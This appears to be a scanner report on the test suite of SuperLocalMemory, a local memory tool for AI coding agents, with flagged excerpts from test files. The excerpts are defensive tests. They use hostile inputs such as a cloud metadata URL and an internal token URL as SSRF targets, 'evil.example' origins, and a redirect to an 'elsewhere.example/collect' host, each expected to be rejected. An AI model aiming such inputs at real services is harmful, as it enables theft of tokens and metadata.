- Executable scriptline 1
Executable file
tests/test_parameterization/test_a_soft_prompt_has_to_say_something.py
- Executable scriptline 1
Executable file
tests/test_parameterization/test_pattern_extractor.py
- Executable scriptline 1
Executable file
tests/test_parameterization/test_pii_filter.py
tests/test_parameterization/test_prompt_injector.py
- Executable scriptline 1
Executable file
tests/test_parameterization/test_prompt_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_parameterization/test_soft_prompt_generator.py
- Executable scriptline 1
Executable file
tests/test_parameterization/test_soft_prompt_sqlite_roundtrip.py
- Executable scriptline 1
Executable file
tests/test_parity/__init__.py
- Executable scriptline 1
Executable file
tests/test_parity/test_kind_surface_parity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 72
[Credential-related source omitted]
tests/test_parity/test_wp19_stub_flag_parity.py
- Executable scriptline 1
Executable file
tests/test_plugin/__init__.py
- Executable scriptline 1
Executable file
tests/test_plugin/_mcp_expand.py
- Executable scriptline 1
Executable file - Network accessline 13
when VAR is unset; an unset VAR without a default is left as written and reported missing. The docs describe the same two forms: https://code.claude.com/docs/en/mcp (environment variable expansion). - Network accessline 15
https://code.claude.com/docs/en/mcp (environment variable expansion). - Access to secretsline 63
[Credential-related source omitted]
tests/test_plugin/_plugin_sandbox.py
tests/test_plugin/test_codex_plugin.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_copilot_plugin.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_cursor_plugin.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_ensure_venv_only_when_used.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_hermes_grant_missing.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_hermes_plugin.py
tests/test_plugin/test_hermes_register_tool_signature.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_hermes_remote.py
- Executable scriptline 1
Executable file - Network accessline 81
@pytest.mark.parametrize("value", [None, "local", "Remote", "REMOTE", "yes", True, "remote ", "https://evil.example/mcp"]) - Network accessline 82
"https://evil.example/mcp"]) - Network accessline 142
monkeypatch.setattr(socket.socket, "connect", forbidden) ctx = Ctx(module, settings={"url": "http://169.254.169.254/latest/meta-data", - Network accessline 143
ctx = Ctx(module, settings={"url": "http://169.254.169.254/latest/meta-data", - Network accessline 144
"remote_url": "http://127.0.0.1:8765/internal/token",
tests/test_plugin/test_hermes_replaces_requires_confirm.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_hermes_turn_capture.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_hook_commands_run_on_grok.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_hooks_find_the_same_slm.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_launcher_on_hookless_hosts.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_mcp_command_per_platform.py
tests/test_plugin/test_muse_plugin.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_plugin_speed_and_cloud_claims.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_qwen_kimi_manifests.py
- Executable scriptline 1
Executable file - Network accessline 48
def test_agent_plugins_manifest_for_kiro_and_cross_tool_hosts() -> None: plugin = _load("plugin.json") assert plugin["$schema"] == "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" - Network accessline 49
plugin = _load("plugin.json") assert plugin["$schema"] == "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" assert plugin["name"] == "superlocalmemory" and plugin["version"] == _version() - Network accessline 50
assert plugin["$schema"] == "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json" - Network accessline 52
assert plugin["license"] == "AGPL-3.0-or-later" and plugin["keywords"] mcp = _load("mcp.json") assert mcp["$schema"] == "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json" - Network accessline 53
mcp = _load("mcp.json") assert mcp["$schema"] == "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json" server = mcp["mcpServers"]["superlocalmemory"] - Network accessline 54
assert mcp["$schema"] == "https://agent-plugins.org/schemas/1.0.0/mcp.schema.json"
tests/test_plugin/test_vscode_agent_plugin.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_wf_windows_crossplatform.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_windows_mcp_spawn_premise.py
- Executable scriptline 1
Executable file
tests/test_plugin/test_windows_mcp_starts_installed_slm.py
tests/test_plugin/test_wp06_ensure_venv.py
- Executable scriptline 1
Executable file - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 290
[Credential-related source omitted] - Access to secretsline 295
[Credential-related source omitted]
tests/test_plugin/test_wp06_plugin_manifest.py
- Executable scriptline 1
Executable file
tests/test_plugin_src/__init__.py
- Executable scriptline 1
Executable file
tests/test_plugin_src/test_the_skills_name_things_that_exist.py
- Executable scriptline 1
Executable file
tests/test_plugin_src/test_torch_cpu_pin_matches_pyproject.py
- Executable scriptline 1
Executable file
tests/test_plugin_src/test_torch_cpu_resolve.py
- Executable scriptline 1
Executable file - Network accessline 120
tmp_path, "torch_cpu_should_force", env_overrides={var: "https://example.invalid/simple"}, - Network accessline 121
"torch_cpu_should_force", env_overrides={var: "https://example.invalid/simple"}, path_prefix=fake, - Network accessline 122
env_overrides={var: "https://example.invalid/simple"}, - Network accessline 155
# https://pytorch.org/get-started/locally/ documents this exact index for - Network accessline 157
result = _run(tmp_path, 'echo "${TORCH_CPU_INDEX_URL}"') assert result.stdout.strip() == "https://download.pytorch.org/whl/cpu" - Network accessline 158
assert result.stdout.strip() == "https://download.pytorch.org/whl/cpu" - Network accessline 197
result = _run(tmp_path, body, path_prefix=fake) assert result.returncode == 0, (result.stdout, result.stderr) assert "would run: pip install --index-url https://download.pytorch.org/whl/cpu torch==2.13.0" in result.stdout - Network accessline 198
assert result.returncode == 0, (result.stdout, result.stderr) assert "would run: pip install --index-url https://download.pytorch.org/whl/cpu torch==2.13.0" in result.stdout assert "nvidia" not in result.stdout - Network accessline 199
assert "would run: pip install --index-url https://download.pytorch.org/whl/cpu torch==2.13.0" in result.stdout
tests/test_plugin_src/test_wp05_agents_commands_lint.py
- Executable scriptline 1
Executable file
tests/test_portable_helpers.py
- Executable scriptline 1
Executable file
tests/test_postinstall/__init__.py
- Executable scriptline 1
Executable file
tests/test_postinstall/test_interactive_installer.py
tests/test_process_health/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_process_health/conftest.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_process_health/test_mcp_startup_reaper.py
- Executable scriptline 1
Executable file
tests/test_process_health/test_pid_manager.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_process_health/test_process_reaper.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_process_health/test_process_reaper_windows_stubs.py
- Executable scriptline 1
Executable file
tests/test_quality/test_memory_quality_harness.py
- Executable scriptline 1
Executable file
tests/test_quality/test_memory_quality_performance_gate.py
- Executable scriptline 1
Executable file
tests/test_quality/test_native_host_lifecycle_certification.py
- Executable scriptline 1
Executable file
tests/test_quality/test_portable_host_certification.py
tests/test_ranker.py
- Executable scriptline 1
Executable file
tests/test_reliability/__init__.py
- Executable scriptline 1
Executable file
tests/test_reliability/test_a_guard_that_never_passed_is_reported.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com
tests/test_reliability/test_a_learner_that_never_learned_is_reported.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory | https://qualixar.com | https://varunpratap.com
tests/test_remote_access_status.py
- Executable scriptline 1
Executable file - Access to secretsline 77
[Credential-related source omitted] - Network accessline 96
app.state.daemon_descriptor = SimpleNamespace(port=9999) app.state.remote_connections = runtime.service with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: - Network accessline 97
app.state.remote_connections = runtime.service with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: body = client.get("/api/v3/connections/status") - Network accessline 98
with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client:
tests/test_remote_connection_api.py
- Executable scriptline 1
Executable file - Network accessline 39
provider = Provider() app.state.remote_connections = RemoteConnectionService(EnrollmentJournal(tmp_path / "remote"), provider, hosts=("muse",)) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as cl - Network accessline 40
app.state.remote_connections = RemoteConnectionService(EnrollmentJournal(tmp_path / "remote"), provider, hosts=("muse",)) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: yield client - Network accessline 41
with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: - Network accessline 51
app = FastAPI(); app.include_router(router) app.state.profile_runtime = SimpleNamespace(snapshot=SimpleNamespace(profile_id="default")) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: - Network accessline 52
app.state.profile_runtime = SimpleNamespace(snapshot=SimpleNamespace(profile_id="default")) with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: response = client.get("/api/v3/connections - Network accessline 53
with TestClient(app, base_url="http://127.0.0.1:9999", client=("127.0.0.1", 5000)) as client: - Network accessline 80
@pytest.mark.parametrize("origin", ["https://evil.example", "http://127.0.0.1:4444", "null"]) - Network accessline 87
def test_same_origin_allowed(configured): client, _, _ = configured assert client.post("/api/v3/connections/initiate", headers=headers(Origin="http://127.0.0.1:9999"), json=payload()).status_code == 200 - Network accessline 89
assert client.post("/api/v3/connections/initiate", headers=headers(Origin="http://127.0.0.1:9999"), json=payload()).status_code == 200 - Network accessline 92
def test_network_peer_and_dns_rebinding_host_denied(configured): _, _, app = configured with TestClient(app, base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5000)) as client: - Network accessline 93
_, _, app = configured with TestClient(app, base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5000)) as client: assert client.get("/api/v3/connections/status").status_code == 403 - Network accessline 94
with TestClient(app, base_url="http://127.0.0.1:9999", client=("192.0.2.20", 5000)) as client: - Network accessline 95
assert client.get("/api/v3/connections/status").status_code == 403 with TestClient(app, base_url="http://evil.example:9999", client=("127.0.0.1", 5000)) as client: assert client.get("/api/v3/connections/status").status_code == 4 - Network accessline 96
with TestClient(app, base_url="http://evil.example:9999", client=("127.0.0.1", 5000)) as client: - Network accessline 144
async def enroll(**args): provider.calls += 1 return GatewayReceipt(args["connection_id"], "https://auth.superlocalmemory.com/owner-login?connection_id=" + args["connection_id"]) - Network accessline 145
provider.calls += 1 return GatewayReceipt(args["connection_id"], "https://auth.superlocalmemory.com/owner-login?connection_id=" + args["connection_id"]) provider.enroll = enroll - Network accessline 146
return GatewayReceipt(args["connection_id"], "https://auth.superlocalmemory.com/owner-login?connection_id=" + args["connection_id"]) - Network accessline 156
[Credential-related source omitted] - Network accessline 204
assert "remote_connections_router unavailable" not in caplog.text, caplog.text[-3000:] client = TestClient(app, base_url="http://127.0.0.1:8765", client=("127.0.0.1", 5000)) - Network accessline 205
client = TestClient(app, base_url="http://127.0.0.1:8765", client=("127.0.0.1", 5000)) - Network accessline 399
url = "/api/v3/connections/" + "c" * 32 + "/abilities" body = {"profile_id": "default", "ability": "media", "allow": True} assert client.post(url, headers=headers(Origin="https://evil.example"), json=body).status_code == 403 - Network accessline 400
body = {"profile_id": "default", "ability": "media", "allow": True} assert client.post(url, headers=headers(Origin="https://evil.example"), json=body).status_code == 403 assert client.post(url, headers=headers(**{"Sec-Fetch-Site": " - Network accessline 401
assert client.post(url, headers=headers(Origin="https://evil.example"), json=body).status_code == 403
tests/test_remote_connection_codec.py
tests/test_remote_connection_companion.py
- Executable scriptline 1
Executable file
tests/test_remote_connection_credentials.py
tests/test_remote_connection_device_credentials.py
- Executable scriptline 1
Executable file
tests/test_remote_connection_journal.py
- Executable scriptline 1
Executable file
tests/test_remote_connection_modern_policy.py
- Executable scriptline 1
Executable file
tests/test_remote_connection_origin.py
- Executable scriptline 1
Executable file - Possible obfuscationline 30
assert body["body"]==base64.b64decode(frame()["bodyBase64"]) - Network accessline 44
assert CanonicalMcpOrigin is not None async def app(scope,receive,send): await send({"type":"http.response.start","status":307,"headers":[(b"location",b"https://evil.example")]}) - Network accessline 45
async def app(scope,receive,send): await send({"type":"http.response.start","status":307,"headers":[(b"location",b"https://evil.example")]}) await send({"type":"http.response.body","body":b''}) - Network accessline 46
await send({"type":"http.response.start","status":307,"headers":[(b"location",b"https://evil.example")]}) - Access to secretsline 54
[Credential-related source omitted]
tests/test_remote_connection_private_state.py
- Executable scriptline 1
Executable file
tests/test_remote_connection_proof.py
- Executable scriptline 1
Executable file - Network accessline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Network accessline 25
public=jwt.PyJWK.from_json(json.dumps(signer.public_jwk)).key claims=jwt.decode(proof,public,algorithms=['ES256'],options={'verify_aud':False}) assert claims['htm']=='GET' and claims['htu']=='https://connect.superlocalmemory.com/con - Network accessline 26
claims=jwt.decode(proof,public,algorithms=['ES256'],options={'verify_aud':False}) assert claims['htm']=='GET' and claims['htu']=='https://connect.superlocalmemory.com/connector' assert abs(claims['iat']-time.time())<5 and 'synthetic - Network accessline 27
assert claims['htm']=='GET' and claims['htu']=='https://connect.superlocalmemory.com/connector' - Network accessline 28
[Credential-related source omitted] - Network accessline 29
[Credential-related source omitted] - Network accessline 38
assert DeviceSigner is not None signer=DeviceSigner.generate() for target in ['http://connect.superlocalmemory.com/connector','https://name:pass@connect.superlocalmemory.com/connector','https://connect.superlocalmemory.com/connector - Network accessline 39
signer=DeviceSigner.generate() for target in ['http://connect.superlocalmemory.com/connector','https://name:pass@connect.superlocalmemory.com/connector','https://connect.superlocalmemory.com/connector#fragment']: with pytest.rai - Network accessline 40
for target in ['http://connect.superlocalmemory.com/connector','https://name:pass@connect.superlocalmemory.com/connector','https://connect.superlocalmemory.com/connector#fragment']:
tests/test_remote_connection_recall_deadline.py
- Executable scriptline 1
Executable file
tests/test_remote_connection_runtime.py
- Executable scriptline 1
Executable file - Network accessline 7
@pytest.mark.asyncio async def test_callback_rejects_unknown_state_before_cloud_or_key_creation(tmp_path): runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),NativeEnrollmentStore(tmp_path/'secure',backend=Backen - Network accessline 8
async def test_callback_rejects_unknown_state_before_cloud_or_key_creation(tmp_path): runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile= - Network accessline 9
runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile=lambda:'profile',can_manage=lambda owner,profile:True,redirect_uri='http://127.0.0.1:18767 - Network accessline 13
async def test_callback_refuses_revoked_creator_permission(tmp_path): store=NativeEnrollmentStore(tmp_path/'secure',backend=Backend());store.save(record()) runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),s - Network accessline 14
store=NativeEnrollmentStore(tmp_path/'secure',backend=Backend());store.save(record()) runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),store,current_profile=lambda:'profile',can_manage=lambda owner,profile:Fals - Network accessline 15
runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),store,current_profile=lambda:'profile',can_manage=lambda owner,profile:False,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback') - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 181
async def test_local_only_restore_never_opens_keyring(tmp_path,monkeypatch): store=NativeEnrollmentStore(tmp_path/'secure',backend=Backend()) runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),store,current_p - Network accessline 182
store=NativeEnrollmentStore(tmp_path/'secure',backend=Backend()) runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),store,current_profile=lambda:'profile',can_manage=lambda owner,profile:True,redirect_uri='http:/ - Network accessline 183
runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),store,current_profile=lambda:'profile',can_manage=lambda owner,profile:True,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback') - Access to secretsline 202
[Credential-related source omitted] - Network accessline 308
import asyncio from types import SimpleNamespace runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile=lambda:'profile',can_manage=lambd - Network accessline 309
from types import SimpleNamespace runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile=lambda:'profile',can_manage=lambda owner,profile:Tru - Network accessline 310
runtime=NativeConnectionRuntime(None,EnrollmentJournal(tmp_path/'journal'),NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile=lambda:'profile',can_manage=lambda owner,profile:True,redirect_uri='http://127.0.0.1:18767 - Network accessline 360
payload={'host':'composio','profile_id':'profile','remote_opt_in':True,'permissions':{'read':True,'write':True,'correction':False,'session':False}} pending=journal.begin('owner','profile','a'*32,payload) runtime=NativeConnectionRunt - Network accessline 361
pending=journal.begin('owner','profile','a'*32,payload) runtime=NativeConnectionRuntime(None,journal,NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile=lambda:'profile',can_manage=lambda owner,profile:True,redire - Network accessline 362
runtime=NativeConnectionRuntime(None,journal,NativeEnrollmentStore(tmp_path/'secure',backend=Backend()),current_profile=lambda:'profile',can_manage=lambda owner,profile:True,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback') - Access to secretsline 363
[Credential-related source omitted] - Access to secretsline 367
[Credential-related source omitted] - Access to secretsline 368
[Credential-related source omitted] - Access to secretsline 369
[Credential-related source omitted]
tests/test_remote_connection_session.py
tests/test_remote_connections/__init__.py
- Executable scriptline 1
Executable file
tests/test_remote_connections/test_grant.py
- Executable scriptline 1
Executable file - Possible obfuscationline 30
"v1.eyJ2IjoxLCJraWQiOjEsImNpZCI6ImMwZmZlZTAwYzBmZmVlMDBjMGZmZWUwMGMwZmZlZTAwIiwiYWlkIjoiYXV0aC0xIiwidmVyIjoxLCJhcHAiOiJjbGllbnQtMSIsInNjcCI6WyJzbG06cmVhZCIsInNsbTptZXNoIl0sImZ2IjpmYWxzZSwiZmlkIjoiZnJhbWUtMSIsImdlbiI6MywiZGwiOjE3MDAwMDAwMDAw
tests/test_remote_connections/test_grant_key_delivery.py
tests/test_remote_connections/test_grant_keys.py
- Executable scriptline 1
Executable file
tests/test_remote_connections/test_key_abilities.py
- Executable scriptline 1
Executable file
tests/test_remote_connections/test_origin_grant.py
- Executable scriptline 1
Executable file
tests/test_remote_connections/test_peer_sync.py
- Executable scriptline 1
Executable file
tests/test_remote_connections/test_upload_relay.py
- Executable scriptline 1
Executable file - Network accessline 312
links = UploadLinks(tmp_path, clock=lambda: NOW) reply = {"status": "refused", "reason": "Cannot read /Users/alice/Pictures/a.png for aliceacct (see https://x.example/a?k=1)"} - Network accessline 313
reply = {"status": "refused", "reason": "Cannot read /Users/alice/Pictures/a.png for aliceacct (see https://x.example/a?k=1)"} relay = UploadRelay(lambda: links, keys=FakeKeys(), finisher=Finisher(reply), finish_wait_s=2.0) - Network accessline 314
"reason": "Cannot read /Users/alice/Pictures/a.png for aliceacct (see https://x.example/a?k=1)"}
tests/test_remote_credential_renewal.py
tests/test_remote_gateway_provider.py
- Executable scriptline 1
Executable file - Network accessline 8
requests=[] async def http(path, **kwargs): requests.append((path,kwargs)) - Network accessline 9
async def http(path, **kwargs): requests.append((path,kwargs)) if path=='/oauth/register':return {'client_id':'synthetic-client'} - Network accessline 10
requests.append((path,kwargs)) - Network accessline 11
if path=='/oauth/register':return {'client_id':'synthetic-client'} if path=='/bootstrap':return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} raise AssertionEr - Network accessline 12
if path=='/bootstrap':return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} - Network accessline 13
raise AssertionError(path) store=NativeEnrollmentStore(tmp_path,backend=Backend()) provider=CloudGatewayProvider(store,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Network accessline 14
store=NativeEnrollmentStore(tmp_path,backend=Backend()) provider=CloudGatewayProvider(store,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) receipt=await provider.enroll(installation_id='installation',co - Network accessline 15
provider=CloudGatewayProvider(store,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Network accessline 28
if path=='/oauth/register':count+=1;return {'client_id':'synthetic-client'} payloads.append(kwargs['json']) return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32 - Network accessline 29
payloads.append(kwargs['json']) return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} provider=CloudGatewayProvider(NativeEnrollmentStore(tmp_path,backend=Backend() - Network accessline 30
return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} - Network accessline 31
provider=CloudGatewayProvider(NativeEnrollmentStore(tmp_path,backend=Backend()),redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Network accessline 42
if path=='/oauth/register':count+=1;return {'client_id':'synthetic-client'} value=kwargs['json'];payloads.append(value) return {'connection_id':value['connectionId'],'authorize_url':'https://auth.superlocalmemory.com/owner-l - Network accessline 43
value=kwargs['json'];payloads.append(value) return {'connection_id':value['connectionId'],'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+value['connectionId']} provider=CloudGatewayProvider(Native - Network accessline 44
return {'connection_id':value['connectionId'],'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+value['connectionId']} - Network accessline 45
provider=CloudGatewayProvider(NativeEnrollmentStore(tmp_path,backend=Backend()),redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Network accessline 63
nonlocal count if path=='/oauth/register':count+=1;return {'client_id':'synthetic-client'} return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} - Network accessline 64
if path=='/oauth/register':count+=1;return {'client_id':'synthetic-client'} return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} provider=CloudGatewayProvider(stor - Network accessline 65
return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} - Network accessline 66
provider=CloudGatewayProvider(store,redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Network accessline 80
async def http(path,**kwargs): if path=='/oauth/register':return {'client_id':'synthetic-client'} return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} - Network accessline 81
if path=='/oauth/register':return {'client_id':'synthetic-client'} return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} provider=CloudGatewayProvider(NativeEnrollm - Network accessline 82
return {'connection_id':'a'*32,'authorize_url':'https://auth.superlocalmemory.com/owner-login?connection_id='+'a'*32} - Network accessline 83
provider=CloudGatewayProvider(NativeEnrollmentStore(tmp_path,backend=Slow()),redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Access to secretsline 97
[Credential-related source omitted] - Network accessline 99
later=NativeEnrollmentStore(tmp_path,backend=backend,clock=lambda:102);requests=[] async def http(path,**kwargs): requests.append((path,kwargs)) - Network accessline 100
[Credential-related source omitted] - Network accessline 101
requests.append((path,kwargs)) - Access to secretsline 102
[Credential-related source omitted] - Network accessline 119
requests=[] async def http(path,**kwargs): requests.append((path,kwargs)) - Network accessline 120
async def http(path,**kwargs): requests.append((path,kwargs)) return {'apps':[]} if path=='/owner/apps' else {'revoked':True,'version':2} - Network accessline 121
requests.append((path,kwargs)) - Network accessline 122
return {'apps':[]} if path=='/owner/apps' else {'revoked':True,'version':2} provider=CloudGatewayProvider(NativeEnrollmentStore(tmp_path,backend=Backend()),redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Network accessline 123
provider=CloudGatewayProvider(NativeEnrollmentStore(tmp_path,backend=Backend()),redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback',http=http) - Access to secretsline 124
[Credential-related source omitted] - Network accessline 154
def __init__(self, *args, **kwargs): built.append(dict(kwargs)) super().__init__(*args, transport=httpx.MockTransport(handler), **kwargs) - Network accessline 156
super().__init__(*args, transport=httpx.MockTransport(handler), **kwargs) - Network accessline 169
seen.append((request.url.host, request.headers.get('authorization'))) if request.url.host == 'auth.superlocalmemory.com': return httpx.Response(302, headers={'location': 'https://elsewhere.example/collect'}) - Network accessline 170
if request.url.host == 'auth.superlocalmemory.com': return httpx.Response(302, headers={'location': 'https://elsewhere.example/collect'}) return httpx.Response(200, json={'ok': True}) - Network accessline 171
return httpx.Response(302, headers={'location': 'https://elsewhere.example/collect'}) - Network accessline 172
return httpx.Response(200, json={'ok': True}) - Network accessline 191
def handler(request): hosts.append((request.url.scheme, request.url.host, request.url.path)) return httpx.Response(200, json={'ok': True}) - Network accessline 193
return httpx.Response(200, json={'ok': True}) - Network accessline 196
assert await CloudGatewayProvider._request('/owner/verify', headers={}) == {'ok': True} assert hosts == [('https', 'auth.superlocalmemory.com', '/owner/verify')] for bad in ('/owner/other', '//elsewhere.example/owner/verify', 'https - Network accessline 197
assert hosts == [('https', 'auth.superlocalmemory.com', '/owner/verify')] for bad in ('/owner/other', '//elsewhere.example/owner/verify', 'https://elsewhere.example/'): with pytest.raises(ValueError, match='invalid_gateway_endpo - Network accessline 198
for bad in ('/owner/other', '//elsewhere.example/owner/verify', 'https://elsewhere.example/'):
tests/test_remote_native_enrollment_store.py
- Executable scriptline 1
Executable file - Network accessline 10
def record(): return PendingEnrollment(installation_id='installation', owner='owner', profile='profile', connection_id='a'*32, redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback', state='s'*43, verifier='v'*43, private_key - Network accessline 11
return PendingEnrollment(installation_id='installation', owner='owner', profile='profile', connection_id='a'*32, redirect_uri='http://127.0.0.1:18767/api/v3/connections/callback', state='s'*43, verifier='v'*43, private_key=DeviceSigner.gene
tests/test_repo_hygiene.py
tests/test_reported/__init__.py
- Executable scriptline 1
Executable file
tests/test_reported/test_what_users_reported_against_4_0_10.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 73
[Credential-related source omitted]
tests/test_resilience/__init__.py
- Executable scriptline 1
Executable file
tests/test_resilience/runtime_factory.py
- Executable scriptline 1
Executable file
tests/test_resilience/test_deadlock_hardening.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 334
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
tests/test_resilience/test_ops_list_failed.py
- Executable scriptline 1
Executable file
tests/test_resilience/test_ops_resolve.py
- Executable scriptline 1
Executable file
tests/test_resilience/test_ops_resolve_takes_the_write_lock.py
- Executable scriptline 1
Executable file
tests/test_resilience/test_resilience_hardening.py
- Network accessline 1
